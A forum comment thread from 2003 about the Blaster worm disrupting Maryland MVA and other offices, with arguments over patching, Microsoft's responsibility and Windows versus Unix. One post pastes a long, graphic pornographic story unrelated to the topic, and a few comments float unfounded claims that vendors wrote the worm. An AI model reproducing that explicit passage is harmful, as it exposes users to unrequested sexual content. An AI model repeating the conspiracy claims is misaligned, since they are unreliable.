Maybe if I had also purchased an extended support contract or something, but it wasn't on their public server, where it should have been.

Re:Microsoft did put out the patch

[Anonymous Coward]

I call bullshit on you. Check the list and look for an RPC buffer overflow. THAT'S Blaster. Just b/c your a retard doesn't mean it ain't there.

Now we know who wrote it

[Anonymous Coward]

For anyone who thinks that viruses are developed by those selling anti-virus products, consider this quote from Al Huger, senior director of engineering at Symantec: "The worm was intended to co-opt your computer for its plan, but it is badly written," said Al Huger, senior director of engineering at Symantec Corp.'s Calgary security response unit. "If the writer of this worm had got it right, it would have been unlikely that most people could have accessed their computers this morning." It sounds to me like he's pissed off that one of his employees didn't do a better job.

Virus? More like a vaccine

[ThePyro]

Obviously there were thousands upon thousands of computers still vulnerable to this exploit when this worm was released. I honestly think that this particular worm has done the world a favor - a security hole this critical was BOUND to be exploited sooner or later. Better that this relatively harmless "vaccine" force everyone to patch their systems now. That way, when REAL malicious exploits hit - that actually delete files and destroy your work - most systems will no longer be vulnerable.

Heck, I'd almost wager that Microsoft released the bugger themselves in order to reduce the impact of the next big one...

These were not the only gov't offices

[Rodaddy]

I have a friend the the GSA, and I told him this was going to be comming last thurs. He told his bosses, the told him, "We could get most of them upgraded, but it would be a lot of work. F*ck it" Needless to say most of there office went down, as did many of the gov't key GSA databases. It's not really funny, but....Ha Ha.

Stupidity at work...

[Anonymous Coward]

...if they used linux in the first place, why the hell do they care about M$? To me this stinks of disgruntled windows user.

Pshaw!

[eap]

This virus talk is rubbish. I'm typing this on a Windows computer right now and everything is working fi

Also in the News . . .

[Dausha]

Various Arkansas Government agencies are afflicted, too.

It's called SAP...already been done....

[Anonymous Coward]

And people pay for it tooo!!! what a racket!

Different types of training

[Loundry]

and how many switched after Code Red? ILoveYou? the countless others? Those who got inffected either had someone take care of it or just reinstalled the system. This is what they are trained to do and expect it with computers.

I agree with your premise and disagree with your conclusion.

Microsoft has trained people to think that "computers are unstable" and "computers need to be rebooted frequently to fix problems". This is what they are trained to do and expect it with computers.

Viruses are different. People can understand needing to "turn it off and turn it on again" to fix a problem. Viruses are scary. Viruses will "erase your hard drive"! People have been hearing for the past two days that viruses affect "any computer running Microsoft", and people are also aware that there are alternatives to Microsoft.

I think repeated virus attacks will drive people away from Microsoft in greater numbers than Microsoft-imposed instability ever did.

I knew the DMV was slow...

[fudgefactor7]

but to be slow at patching servers and systems is just plain stupid. Any system not patched up when you had a month to get the patch deserves to be hit hard. Lazy sysadmins need their asses handed to them, it will weed out the weak and we intelligent people will get the better pay. It's good for all of us in the long run.

Coincidence?

[BoysDontCry]

W32/Blaster delivers its payload against windows update -- on the 16th. Debian turns 10 -- on the 16th. Coincidence? I think not!

IT Staff Not Always to Blame

[Anonymous Coward]

Three weeks ago we released information to all employees about this exploit and demanded that they patch their systems immediately. We made it convenient, simple, and mandatory. For the most part people patched, but those 300 or 400 people that were either to busy, too lazy, or just plain stupid cost us a lot of money and downtime. We've mopped up the last of the outbreak, but the damage to our business and our image is going to take a long time to heal.

Yes Microsoft Products are flawed, and vulnerable, but whining about it isn't going to change a thing. All you can do is plan for the worst and do your best to keep your company alive; after all they are the ones who cut the checks which allow you to pay for the right flame all you want on Slashdot

My $.02

Re:IT Staff Not Always to Blame

[Raven42rac]

Dude, I would have scripted it, so I would not have to worry about the lazy/stupid/busy. And not just ms products are vulnerable, ALL products are vulnerable, even the sacred *nix.

This would be nasty...

[FirstNoel]

This would be a lot nastier than a harddrive wipe.

With the wipe, you know it's all gone...just reload the backups.

With screwing the data...what's right? what's not?

That could truly be a costly virus...costly in many ways.

Sean D.

Re:WMW: Whatever McDonald's Worker!

[Anonymous Coward]

Yes they have 50 Billion dollars, and guess what they want more. They don't care about the value they put in their products. They make a shitty product, then surround it with a EULA saying if it breaks it's your fault and we can search your computer, if you leave this this and that on. Though you can blame them on this since they did release a patch a month ago, however I guess you could still blame them because the vulnerability is in NT4(which again since we're lazy assholes, we won't fix NT4 just like the last time) which is how old? It had 6 service packs, and yet they couldn't fix the problem within one of those. I've talked to be about how Microsoft is a monopoly and why Windows is bad, and they all come back saying, well Microsoft is a good company, nobody is forced to buy Windows, their a monopoly because they had good buissness practices. If people actually understood what Microsoft does illegally, and why Windows is terribly insecure(hey if you want you can use that as FUD, terroists can break into Windows easily, then again its not far from the truth)I'm sure there could be a massive pull out, in the longterm.

Leftist bias

[Loundry]

But then the issue is one of resources, pure and simple. So when government agencies and public institutions (like my buddy's university) have their networks go down, this is a direct result of underfunding. And underfunding is your tax cuts at work (your jurisdictional mileage may vary).

First, you are shooting yourself in the foot every time you make an argument and label it "simple". If the issue were really so simple, then its simplicity would be self-evident and you wouldn't need to label it as such. The very fact that you feel compelled to tell someone that it's "simple" generally means that it is anything but. (The same thing goes for arguments labeled "clear" or "obvious".)

Second, a government organization which lacks resources may lack resources do to poor budgeting (i.e., money going towards pork rather than to that which makes government function). Government at all levels spends money on pork. After tax cuts, governments could have reworked their budgets (you know, like us regular folk who don't have the power to plunder at whim have to do) and cut out pork, redundency, overspending, etc. But, then again, what about all those precious votes? I'm sure there's plenty of politicians who are compeletly willing to let their server farms crash if that means saving their favorite vote-buying programs.

Re:Leftist bias

[Chanc_Gorkon]

Amen to that! We have users in other areas with CDPD modems for getting to the internet from off campus yet they spend half the time sitting in their office(the modems). The ones who really need it (the admins) don't get it. Also, the users see ads or the cool box sitting on the shelf and say oooh we must have and they buy it with their budget and we're stuck without a server. I still am not totally clear why the FCC deployed a open WiFi network in DC. Did they need it? No. Do they benefit from it? Possibly. When the person at my work (the president) that can most afford a car of their own gets one provided by the company yet we can't even get a rental car when we go out of town(unless it comes out of OUR pocket), well, that sucks.

Mongomery Co. MD libraries hit

[tadas]

In addition to the Maryland MVA, all the computers at the Montgomery County (just outside Washington DC) library system were hosed. When I went last night, they had the checkout system back up (the Post said that they had to do manual checkouts earlier in the day), but all of the public access computers were down with handwritten signs saying "Down due to virus attack".

The problem: Lazy Sysops - and *nix is worse!

[digrieze]

I know /. is the place to bash the microsofties, but don't let it get to your head. Remember, anything with the name Microsoft gets instant press, outside the techies the public thinks "apache" is the old movie name for a First Nations tribe.

I regularly do security audits of all kinds of systems. When I walk in to a microsoft shop I can immediately tell how it goes. If the sysop says "I don't trust the patches, I test them, but they're not deployed unless there's a REAL problem" It won't go well, those guys usually don't update virus files either. On the other hand if the sysop is using patch management practices he can often go out in real time and check the current status of a server, workstation, and active version of the virus definition file in realtime (they usually have good WRITTEN policies on unauthorized (untested) soft/hardware with sanctioned backup). I haven't found malware in any of the latter cases.

I've yet to find a good *.nix shop. They often have good processes and procedures that SHOULD avoid problems, but the truth is it's easier to sign a piece of paper that says sourcecode was patched and applied than to actually do it. Things look great on paper. Check the source or decompile sendmail (one of my favorite targets) and it's another story. I'm still finding the same hole T.Morris used years ago on active servers. The excuse is always the same, "that was the way it came, shouldn't that have been fixed in the distro by now?" (i.e. too lazy to look, just signed the paper). Many don't even check SANS or CERT regularly. At least windows will notify you when critical updates are available, and all you have to do to apply it is run the .exe. Even then you get guys like this story highlights:

"I'm unaware of the [Microsoft] patch being available," said David Hugel, the deputy chief administrator of the MVA. "I've talked to our IT people and we weekly update the virus protection we do have, and this just happened to fall between those points when we had updated it and we didn't have the [new] update available yet."

(How did this guy get his position or experience? Even "end-users" successfully use critical update with relatively NO technical experience or fiscal responsibility.)

Any sysadmin that can't keep a system patched, or falsifies patch records should be punished up to and including dismissal as far as I'm concerned.

Incidently, just so you know my audit document is the CERT advisories on securing systems. If you want a great basic book try OReillys "Practical Unix and Internet Security"

Has anyone figured out yet that as far as I'm concerned the problem is NOT theoretical design differences in OSs as much as the incompetance of the people running them?

Re:WMW: Whatever McDonald's Worker!

[nolife]

I was not trying to be anti-MS and I belive my statement about using a non MS email client and browser will definately reduce your risk of viruses and not only because they are not as homogeneous as you claim but because they are NOT integrated into the OS and NOT tied to multiple core functions of the OS that allow these worms to work as efficently as they do. That is a fundamental issue that will always make any closely tied system at risk. The use of raw data and application code and executing them from an application that is tied directly to the core of the OS will ALWAYS be harder to maintain security then a system that does not have this integration. That is a fact no matter which way you look at it. People are always told to not run an unknown executable file. Well any time you deal with documents, emails, web pages, help files from any JoeBlow on the internet on a MS Windows system, you are dealing with files that can and will execute code. Couple that with a known weakness elsewhere in the system and you have a new worm and or a virus. This is the basis for almost every major worm and email virus for the past 5 years.

Well Documented???

[Anonymous Coward]

"...plant designers and control software writers tend to stick with well documented comodity hardware (Win32)."

Win32 well documented? You are kidding, aren't you!!!? Well documented software is where you have the source code or at least when you are dealing with a highly ethical software developer!

And if you are a serious businessman, everything you do should be critical and expensive! Otherwise, you are just wasting time and money.

The best part

[Waab]

I think the best side-effect of this virus/worm is the CNN poll it spawned, which revealed that more than 40% of those polled are completely clueless.

Not just apathy on the part of sys-admins

[enigma971]

Everyone is commenting that the sys-admins should have updated their systems. The company I work for got railed by the worm, all of our PCs, and all of our servers. Why weren't they patched? Because corporate policy says that we aren't to install service packs, security patches, you name it. We were certainly aware of the security bulletins, we just couldn't do anything about it. Might be about time to start freshening up my resume.

Re:Not just apathy on the part of sys-admins

[digrieze]

If that's true your company isn't hiring sysadmins, you're maintenance programers and support staff for the vendors.

I'd maintain that resume, your policy writers are setting you up to take a hit for their failures. You have my sympathy.

And you should take note of the fact that....

[Savage-Rabbit]

...something like 97% of the worlds worm/virus designers spend 100% of their time on trying to torpedo Windows. I wonder the people using Linux or any other Unix/Unix clone would do if they got that sort of non stop attention. Please note also that it is perfectly possible to harden Windows to the point that it will withstand all but the most determined of attacks. I know because I am responsible for a pool of Windows servers who never noticed this virus exists because I patch regularly, installed anti-virus and software, a firewall and took a number of elementary precautions way before this thing ever hit the net.

"....if you dont know something is dangerous it is your own damn stupid fault!!! Not the programmers's wrote your Open Source webserver so that it can be run as root on port 80!".

Side Topic: Washigton Post

[Jedi Holocron]

So the Washington Post article require you to fill out their silly little survey before you read the article. The lower limit of the birth year field is 1900. Isn't it possible that someone older than 103 could concievably be online and looking at this article?

Dunno, I just found it interesting.

Why Not Keep The Virus Installed On Our Computers

[entropy123]

Why no Bill ~300 million windows machines are not spamming your website. How could they? They are not susceptible to computer viruses...it must be sumthing else...

entropy

Interesting quote from MD MVA...

[Anonymous Coward]

Heard on the DC AM News station (From memory)...

"I know people are worried because we have a lot of personal information here. This all stored in what we call a 'Data Vault', and I want everyone to know that information was never in danger because it is not stored on a Microsoft system."

-- ac at work

Guru help needed NOW!

[sg_oneill]

Ok folks. Sorry fer jumpin on a thread.
Guru help needed now.
Our home network has my box (knoppix) talking to net via parents win2000 box. Got call at uni. Computer haywire. Got home , sure enuff, theres msblaster doing its fandango.
So I get the cleaner clean it up, go to download the patch from ms site to avoid clean up and...... "Where the fsck is service pack 2?".
WTF?????
Anyway, the moral of the story is that service pack 2 is a humongous download thru a 56k modem, and the only way to block this bitch is via zonealarm..... *EXCEPT* that zonealarm free version kills NAT from the windows box.
Windows being as it is , lacks iptables, or any nifty stuff like that, so I'm confounded.
*IS* there a firewall , that like free and all, that doesnt waste ICS?????

Cos as it stands , this whole business of not being able to do assignments and stuff is REALLY getting me down.

Thankyou for listening. Hope you can help :)

Re:Guru help needed NOW!

[xThinkx]

Yes, Tiny Personal Firewall.

MOD PARENT DOWN - TROLL/OFFTOPIC take your pick

[Anonymous Coward]

The grandparent post provided a good argument. The parent post, however, simply responded with an immature red herring, in the form of a spelling-nazi attack. Since he was logged in at the time, he should be penalized.

Re:MOD PARENT DOWN - TROLL/OFFTOPIC take your pick

[isorox]

please do, I havent been modded down for 50 posts.

Re:MOD PARENT DOWN - TROLL/OFFTOPIC take your pick

[isorox]

and just to make sure

It was only after Niall had finally divested all his clothes,
which he did in a strangely awkward manner, that Siobhan
saw one very good reason why he might be a little bit
embarrassed to be seen in the nude. Niall's penis! Well, the
Devil be Damned! Niall's penis was by far the largest
Siobhan had ever seen. OK. So, it was fully erect. And that
meant it was going to be pretty big anyway. But this
monster was as long as her forearm. Almost. Or perhaps it
was. Long and stiff and round and swelling. The veins blue
and throbbing. The glans proud and hooded. Would it even
fit inside her?

It didn't quite fit in Siobhan's mouth. At least not that
easily. But she gave it as good as she could: the huge glans
pressed against he tonsils as she ran her lips up and down
and up and down its length. It was hot and strong smelling.
But, unlike Eamonn, Niall's penis didn't lose its way too
soon. It stayed as hard and stiff, if not stiffer, while her
saliva dribbled down its length, as it had before she'd
touched it. The strong odour blew out of her nostrils. Niall,
meanwhile, had swivelled his body around so that his
tongue was at her clitoris and he was licking at her labia
and within the vaginal folds, through the thicket of hair,
not perhaps as expertly as some of her lovers, but with
plenty of concern and attention for her own sexual
pleasure.

And it worked. Which surprised Siobhan. She wasn't
normally a girl who came especially easily. A flash of
blood darkened her vision, as she let the erotic moment
sweep through her and let loose a cry which she heard only
indistinctly. As she did later, a whole series of cries and
yelps and whoops and gasps to which she let vent as Niall's
penis found its way into her cunt and he thrust away at her.

Although she was wet (and, God in Heaven, she was wet!),
even that didn't soften too much the pressure as Niall's
penis bit by bit, centimetre by centimetre, inch by inch,
slowly made its way deeper and deeper into her vagina,
pressing against her stomach, stretching the walls of her
vaginal cavity. And thrusting in and out, in and out. But
Siobhan was only partly conscious of the fucking. She lay
on her back. The fucking missionary position. When was
the last time she'd been as unadventurous as that? And he
pushed in and out, in and out, as she squirmed and writhed
and wriggled, his buttocks pistoning above her crotch, his
mouth sometimes on her ears, sometimes on her mouth,
sometimes high above her, as he arched upwards.

And although she came and came and came, perspiration
streaming down her flesh, a pool gathering on her chest, on
her cheeks, underneath her buttocks and back, sliding and
slipping against the long red hairs on Niall's chest, she was
almost not aware of where she was and what she was
doing. She was lost in a whirlwind of pleasure, somehow
centred on her crotch, as Niall thrust again and again into
her. And still he hadn't come. How was this possible? How
could it be that Niall could keep going so long, whereas
Eamonn would have long since squirted out his little drip,
and they'd be lying on the bed, thoughts of sex almost
forgotten in some discussion on naturism and the law.

Finally, Niall did come. And he came with an explosion of
semen, that squirted into the deepest recesses of Siobhan's
cunt, and soon found its way out onto the sheets, onto her
thighs, and dripped down from the huge knuckle sized
glans in a long sticky trail to Siobhan's knee. Warm. Hot.
And so much of it!

Bitter doesnt begin to describe it.

[LibertineR]

I get called in after a company has fucked up a Network beyond the point of no return, only to have them bitch at me after I tell them the list of things that will NOT be recovered.

Kill the paper MCSEs. Shoot them in their heads.

Re:Yes well no.

[GutBomb]

the only thing this WORM maker did was wake everybody up to install this one patch. people aren't gonna catch on that this is not a one-time occurence. it's gonna happen again and again. The guy that originially found the vulnerability reported it to microsoft a long time ago. then microsoft posted a patch a long time ago. all this virus writer did was prey on the fact that people don't update their machines like they should. i believe windows xp has automatic updates on by default and you have to turn it off explicitly. Why are all these end users turning off the auto update features. these are the same end users most slashbots say are incapable of understanding when the taskbar has been moved from the bottom of the screen to the side. Anyway I am rambling. What I am trying to say is sure, Microsoft's security is a bit lacking, but they patched the hole long before this expliot came out. The users are dumb for turning off auto-update. and the virus-writer is an asshole for vandalizing computers under the guise of "sending a message". Microsoft already had the message and already fixed this exact problem before the worm was ever released. I am not an MS fan, I use a mac myself, but jeez. they were on the ball this time. there are many programs released in the *nix world with security holes that were not forseen before too. these things happen, get over it. clearly the guilty party is the virus writer. If there was a problem with the locks on the doors of your car would you prefer someone to knock on your door and let you know that your lock can easily be circumvented, or would you want that same person to enter your house using that vulnerability in your door, invite some of his lockpicking friends over and then use your house as a homebase to do the same thing to other houses, so they can then use those houses for the same purpose as they used yours, and so on? Why is this criminal in the real world, but doing us a favor in the world of computers and i see since you mention terrorism that you have been sufficiently programmed by the mainstream media so I don't even imagine you have read this far.

NO no no NO.....thank YOU!

[p.rican]

Thanks for the eloquent post. You should have been modded at +5 under-rated as well. That's a point that I tried to make previously but I usually get modded down as a troll.

Why?

[Overly Critical Guy]

Why is it Microsoft's fault when THE PATCH WAS RELEASED A MONTH AGO? A simple ~800kb patch. The exploit even made a Slashdot headline, so it was well-reported.

The fault lies in those people who don't patch the operating system with the critical updates put out by its maker.

Re:Why?

[japhmi]

The fault lies in those people who don't patch the operating system with the critical updates put out by its maker.

Unless you're trying to do a new install of XP in the middle of all of this.

1. Install XP
2. Go to WindowsUpdate
2. Start to download patch
3. Get infected
4. Computer restarts before patch downloads
5. (#*&$&$(* computer!
6. No Profit!
7. Goto 1

(warning: goto considered harmful)

Re:Why?

[allism]

An intelligent user would have inserted a step between 1 and 2 - namely -

1.5 Go to Control Panel > Network Connections, go to the advanced tab for the network connection being used, and turn on the Internet connection firewall.

Then steps 3-7 would change to:

3. Install patch

4. Install a REAL firewall (Internet Connection Firewall is fine for getting your system patched up, but it sure can cause problems if you want to do anything other than basic surfing)

5....blah blah blah

I have come to the conclusion, however, that XP should have shipped with the firewall turned on and with explicit instructions on how to turn it on and off. (Given that I really like Microsoft, it will come as a surprise to some people that I think they screwed the pooch on this one, but I do)

Re:Why?

[pmz]

The fault lies in those people who don't patch the operating system with the critical updates put out by its maker.

No, the fault still lies greatly in the hands of Microsoft. They build a system, market it as drool-proof, drooling idiots all over the world buy it, and those drooling idiots get burned and are still so stupid that they don't realize they were LIED TO IN THE FIRST PLACE!

So the blame is two-fold. 1) Microsoft is an unscrupulous LIAR, and 2) Microsoft's customers are stupid IDIOTS.

Thankfully, the markets are very slowly but steadily learning, and I am optimistic that Microsoft will much much smaller in five years.

Re:Why?

[kikta]

Why is Microsoft leaving ports open by default that have no business being open in the vast majority of cases?

They've spent years breeding increasingly clueless users. Think about what kind of knowledge was required to run DOS/Win3.1 versus WinXP. It's a good thing that operating systems have gotten easier to use. However, that means that the users will be less and less clueful as time goes by.

Saying the users are at fault for not applying a critical patch when there was ample warning from multiple sources is all well and good. They do deserve part of the blame. But expecting users to understand patches when they can't even understand/care many other simple administration tasks is foolishness. This isn't even taking into account people on dialup who have lots of patches from MS marked critical and don't want to blow hours at a time downloading them. Also, this patch isn't perfect - I know of several people running Win2000 that are now having issues.

Yes, users should learn to update their damn systems. No one is disputing that fact. However, MS deserves a large part of the blame for consistently releasing outrageously buggy code (including their patches), setting so many things to an insecure state by default, and breeding ignorant users but not taking care of them.

Re:Why?

[Nerodias]

Well, actually I do respond to those Windows Update notices that nag at me from time to time.

I accept the proposed updates and hit the button to begin the download. Most recently, I had been attempting this for three weeks, but could not to complete the download because it was more than 78 Megabytes in size and growing with each day's aborted download attempt. (Mind you, I was selective about which patches I agreed to accept and so I did not even queue the full payload of proposed updates.) Eventually I just had to leave the modem on and walk away from the machine for a full day.

This is simply not practical for a home user with only dial-up net access. What kind of ?secure? system requires updates and patches of such size and frequency that more of my system time is spent acquiring and applying the patches than in actual, productive use?

At this point it seems like I am giving up BOTH my freedom AND my security.

Re:Why?

[aldousd666]

I spent all night with two of my good admin buddies here at work a few weeks ago patching all of our 1400 machines through various differnt scripts etc. Everyone thought I was nuts, but now, we had ZERO infections when the proverbial bomb went off. I wonder how this will look on my performance review. Thanks a million Microsoft! You got me a raise! Now, if I can only show them how switching to linux would save us even more money in the long run, I'd probably get an even bigger raise.

Re:Why?

[aldousd666]

I agree, but that is somewhere along the lines of saying that people shouldn't pay the fines for emissions violations on their cars, unless of course they happen to be mechanics. Oh well, when in doubt blame microsoft.

Re:Why?

[kikta]

I think the fact that there were a lot of users who didn't install the patch because they're too lazy to do it or too lazy to learn how to properly operate a computer is pathetic.

However, if you want to use the vehicle analogy, how would you feel if GM wanted you bring in your car every Saturday and leave it for most of the day because of a recall every other week? And what if the repair sometimes worked perfectly, but at other times made the winshield wipers, the trunk, or the entire car stop working? Yeah, users should maintain what they've bought, but GM wouldn't go and mount the gas tank on the front bumper or install faulty seatbelts in every car.

Re:Why?

[aldousd666]

yeah, I guess you're right. The fault would be mostly with Microsoft, and I guess that the users are only buying microsoft becasue they supposedly have an OS that does everything for them. (god forbid they enable auto-updates, and then wind up with incompatible patches)

Another similar issue would be the warnings that microsoft actually does send out make it look like you have to be an idiot in order for an exploit to do it's dirty work on you.

For example: Mitigating Factors: It will allow arbitrary code to run, but only in the context of the logged on user, so unless you are logged in as an administrator -- which we don't reccommend, logging in as an administrator may enable you to turn off automatic updates. BLAH blah.

Re:Why?

[FatherOfONe]

Ok, use my car analogy again. What if GM kept having you call them once every other week or so just to get updates. Then when you car shut down again because of some hacker, GM then told you that you should have got the latest update. How do you think that would fly? Now add that you neighbor that drives a Ford doesn't have to mess with this at all.

People still sue the automotive industry AFTER a car has been recalled for a defective part.

If this was a one time thing, or heck a two or three time thing it would not be that big of a deal, but these "critical" patches are so common that it is getting ridiculous.

My other point still holds true. I have to spend time EVERY week making sure our Windows boxes keep up to date. How often do "critical" patches come out for NetWare, Apple, Sun, AIX, OS/390, SGI, and Linux? Yet companies like Gartner NEVER factor that in to the total cost of ownership with Windows. If they start (and I hope some of them read this!) then the cost of admining a Windows system will go up considerably.

By they way, you don't just load "critical" patches on production systems without testing do you? I am sure you have a test environment and they have to go through some testing. :-) Granted I don't, but I should! The fact is that these patches come out at such a rate AND the damage caused by not applying them is so huge that I can't waste time testing them. :-( So truthfully the time Gartner and company should factor in for "additional time" with Microsoft systems should be significantly higher than the 2 hours I spend a week I mentioned.

Re:Why?

[kikta]

That's an excellent point that hasn't really occured to me before. Security advisories (from every vendor) either make it sound like you're already fucked or that it would take such incredible circumstances for your system to be compromised that you're bulletproof. All vendors would do well to offer their advisories in a condensed, easy-to-read, and more comprehendable manner. Then provide a link at the bottom for the propeller-heads like us to follow and get the details that we need. This is an area in which the whole industry is falling short.

Re:Why?

[Overly Critical Guy]

By they way, you don't just load "critical" patches on production systems without testing do you?

Look, EVERYONE reported about this vulnerability, and the freaking government warned people TWICE to install it. Bite the bullet and install the tiny ~800kb patch that plugs the hole in RPC. For crying out loud!

Re:Why?

[FatherOfONe]

Ahhh but which one of the MANY patches are you talking about? My point is that there are MANY 800+k patches that come out every few weeks or so.

I am not saying it doesn't make sense to appy patches, but to say that it is ZERO time and effort is incorrect, or that this is just ONE tiny 800k patch! This constant patching and testing must be factored in when working with Microsoft systems. This intern raises the Total Cost of Ownership of the system. Something that Microsoft doesn't want anyone to know about and EVERYONE seems to be ignoring i.e. GARTNER!

So every month when you have to load a couple of more 800k patches on most of your workstations and servers (and reboot them mind you), and some guy running NetWare or Linux doesn't have to remember this discussion. I know people that have NetWare systems that have been up running for over 5 years. Some of our Linux boxes have ran for around a year before I chose to reboot them.

Re:Yes well no.

[GutBomb]

[and i am an idiot for not changing to plain-old-text] the only thing this WORM maker did was wake everybody up to install this one patch. people aren't gonna catch on that this is not a one-time occurence. it's gonna happen again and again. The guy that originially found the vulnerability reported it to microsoft a long time ago. then microsoft posted a patch a long time ago. all this virus writer did was prey on the fact that people don't update their machines like they should. i believe windows xp has automatic updates on by default and you have to turn it off explicitly. Why are all these end users turning off the auto update features. these are the same end users most slashbots say are incapable of understanding when the taskbar has been moved from the bottom of the screen to the side. Anyway I am rambling. What I am trying to say is sure, Microsoft's security is a bit lacking, but they patched the hole long before this expliot came out. The users are dumb for turning off auto-update. and the virus-writer is an asshole for vandalizing computers under the guise of "sending a message". Microsoft already had the message and already fixed this exact problem before the worm was ever released. I am not an MS fan, I use a mac myself, but jeez. they were on the ball this time. there are many programs released in the *nix world with security holes that were not forseen before too. these things happen, get over it. clearly the guilty party is the virus writer. If there was a problem with the locks on the doors of your car would you prefer someone to knock on your door and let you know that your lock can easily be circumvented, or would you want that same person to enter your house using that vulnerability in your door, invite some of his lockpicking friends over and then use your house as a homebase to do the same thing to other houses, so they can then use those houses for the same purpose as they used yours, and so on? Why is this criminal in the real world, but doing us a favor in the world of computers and i see since you mention terrorism that you have been sufficiently programmed by the mainstream media so I don't even imagine you have read this far.

Try SUS

[kilfarsnar]

Microsoft recently released the Software Update Service for Windows 2000. You don't need AD to use it. You set a server on your network to grab the updates from M$ and it then updates your internal systems. It's a bare bones implementation, but at least you don't need to rely on users to patch systems. As you have seen, 100% compliance is impossible, and all you need is one hole... I am a SysAdmin in an all Windows shop; I keep my servers patched and my virus scanners up to date, and I haven't had a problem in the two years I have been in this position. It can be done.

Re:WMW: Whatever McDonald's Worker!

[Overly Critical Guy]

The patch was released a month ago. "This type of crap" wouldn't have happened if systems were patched. My network was 100% unscathed. There's a reason Microsoft puts out patches listed as "Critical Updates," y'know...

Here's the part where the Microsoft conspiracist or the EULA-hater chimes in.

The Washington Post article was on PAGE ONE...

[alispguru]

... above the fold, top-right corner in the dead tree edition this morning, with a continuation on page 14 or so, and two articles on the facing page (one about the MVA getting hammered, one with detailed instructions on how to clean up your infected machine).

The headline was Internet Worm Targets Microsoft Windows. We'll know they really get it when the next headline is Yet Another Microsoft Worm Breaks Windows.

Re:Yes well no.

[riscthis]

Why are all these end users turning off the auto update features

I've seen a couple of XP machines that the OEM pre-install defaults to having updates switched off -- I guess the OEMs just don't want the hassle of users phoning them up asking whether or not to install the patch, or dealing with problems from broken patches. I wonder how many calls they're getting that the moment...

Not okay

[ForceQuit]

"It took a shot at our chairman, but that's OK, we'll get over it."

No. It is not okay. Spin does not increase stability or security. There is a more important issue than name calling.

Patching Is Unreliable

[Anonymous Coward]

I ran Windows Update Tuesday morning. Tuesday afternoon, I got a copy of MSBlast.exe on my machine. Don't trust Windows Update to work correctly.

Question: Does Windows Update/Auto Update apply the DCom patch, or does it have to be applied separately? thanks.

Boot the 'doze box on Knoppix...

[leonbrooks]

...problem solved. (-:

If you want to see your MS-Windows alive again, fill a suitcase with unmarked non-sequential medium-sized Bills... er, I mean, use Knoppix to download the patch(es), then reboot and apply them to 'doze toot-sweet before she reboots. Having a DOS window handy to type "shutdown /a" into is good medicine as well.

Re:Boot the 'doze box on Knoppix...

[sg_oneill]

Hey leon :) Fancy seein you in these woods :)

Alas its still that zillion terrabyte download for sp2 thats the problem. two hideous to contemplate on a 56k modem

(ARE YOU PAYING ATENTION MICROSOFT???????)

Alas, Its becoming clear that applying the "debian" security update to the windows box is seriously appealing right now.

Perhaps we need real product recalls...

[leonbrooks]

...just like they do for cars and such?

So are some of the hospital systems...

[zoward]

The FDA treats Blood Bank software in particular as if it were a "medical device" and requires much of the same kind of validation as any peice of medical hardware. I can't make a change in our blood bank software without filing FDA documentation.

The FDA is currently loking into requiring such documentation for Pharmacy software (at my work blood bank and pharmacy are known collectively as "the two places where a software bug can kill someone").

Re:So are some of the hospital systems...

[Anonymous Coward]

... ignoring the Therac-25 incidents ...

And Arianne-5 could have been carrying people.

It's the only way to do it...

[leonbrooks]

...if you're agoraphobic. (-:

Yawn

[Blackknight]

Meanwhile, our couple hundred Linux servers keep chugging along unaffected.

You're new here, aren't you? (-:

[leonbrooks]

Go on, mod me down for the cliche! You know you want to! (-:

Not installing a free update to fix a problem like this is just asking for trouble.

Installing the free update has often been asking for trouble. Microsoft have an unenviable reputation for breaking things with their patches. This is kind of inevitable when they have such poor understanding of exactly what's going on inside their own (possession really is 9/10ths of the law) OS.

Just install Service Pack MAXINT. Problem solved. Hint: it has a penguin on it.

Learn the OS first

[mortonda]

FTP is not "tied" into the OS. In fact, none of these services are tied into the OS. I run many servers and Full set of services: http, ftp, pop3, imap, ssh, smtp.... and none of them use a /etc/passwd file. In fact, they all come out of an LDAP store.

Some cars' electronics run on Windows CE...

[leonbrooks]

...so would you care to restate that "I'd trust the computers in a car before I trust" part? (-:

Typical for Philadelphia

[sammaffei]

Being a long time resident of Philly, this doesn't surprise me at all. I've dealt with and know a few of the drones employed by the City. They'll maybe have it all fixed by Spring '04.

Heck, just last month, we almost killed a Supreme Court Justice during the dedication of the National Constitution Center:

http://www.nbc10.com/4july/2312737/detail.html

I just love this town (sneer)!

Re:Typical for Philadelphia

[JimC93SW2]

Actually your reply is typical of Philly residents. I have lived here over 50 years and am still amazed at the local inferiority complex. Despite many great things (like the biggest urban park system in the country) we have a very negative attitude ("addy-tood") about our town. We may have slipped a bit since Ben Franklin's day (and our recent politicians sometimes make it seem like we have slipped a lot farther), but have you, for example, checked out how hard it is to own a house in Boston or San Fransico compared to Philly?

Re:Typical for Philadelphia

[smaffei]

Well, most of the houses in Philadelphia aren't worth owning, that's why Section 8 housing is all the rage (and destroying neighborhoods).

I can't tell you how many junkies have moved into my South Philadelphia neighborhood since Section 8 started. In the space of four blocks on a typical Staurday morning I've seen 3 piles of cigar innards on stoops. Ever hear of a "Philly Blunt"?

Go bury your head in the sand for another 50 years... Maybe Philadelphia will be nice again by that time. I unfortunately have to live in the now.

Re:Typical for Philadelphia

[JimC93SW2]

The twin house right behind me just sold for double what houses around here were going for only 10 years ago. We had a couple of kids on our street inherit the house when their mom died. There was drug activity (sales, and 3 fatal overdoses in one week) and a small baby lived there despite the utilities getting shut off last Winter. Every adult person on the block got involved in pressuring the police and politicians to clean this mess up. The house got sold and is now being restored by the new owner. If you think this stuff only happens in Philly then you are sadly mistaken, because our police department's anti-drug measures of the last few years (like Operation Sunrise) have pushed many dealers out of Philly into upstate towns - which are totally unprepared to deal with them. Crime and drugs move easily, even into wealthy areas. Is there a Town Watch group in your neighborhood? Have you talked to the local police district Captain? What about your city councilman or local commiteeman? Ours were very helpful. Talk to your neighbors, you can make a difference if you act together. You won't get away from this stuff by moving out of Philly, but you can resist it. Sincere best wishes to you!

Windows L2TP/IPSec Update

[coffee_admin]

Just an example, the Windows update for L2TP/IPSec that interfered with customer's ability to connect to the internet. Thankfully, Microsoft removed the update and posted an updated version of the update but it goes to show that if system administrators installed every update just because Microsoft said so, there would be plenty more problems created than solved.

I say again: holes in what?

[leonbrooks]

Read it and weep.

Even if you had to...

[leonbrooks]

...load it from paper tape before you could start using it.

Are you illiterate?

[roystgnr]

Yet another clueless person who doesn't realise that WinXP doesn't come with many applications, therefore decreasing the risk of bugs in code.

There's a reason I wrote "and many aren't in software that even has an equivalent included with Windows", you know. Try reading to the end of the post next time.

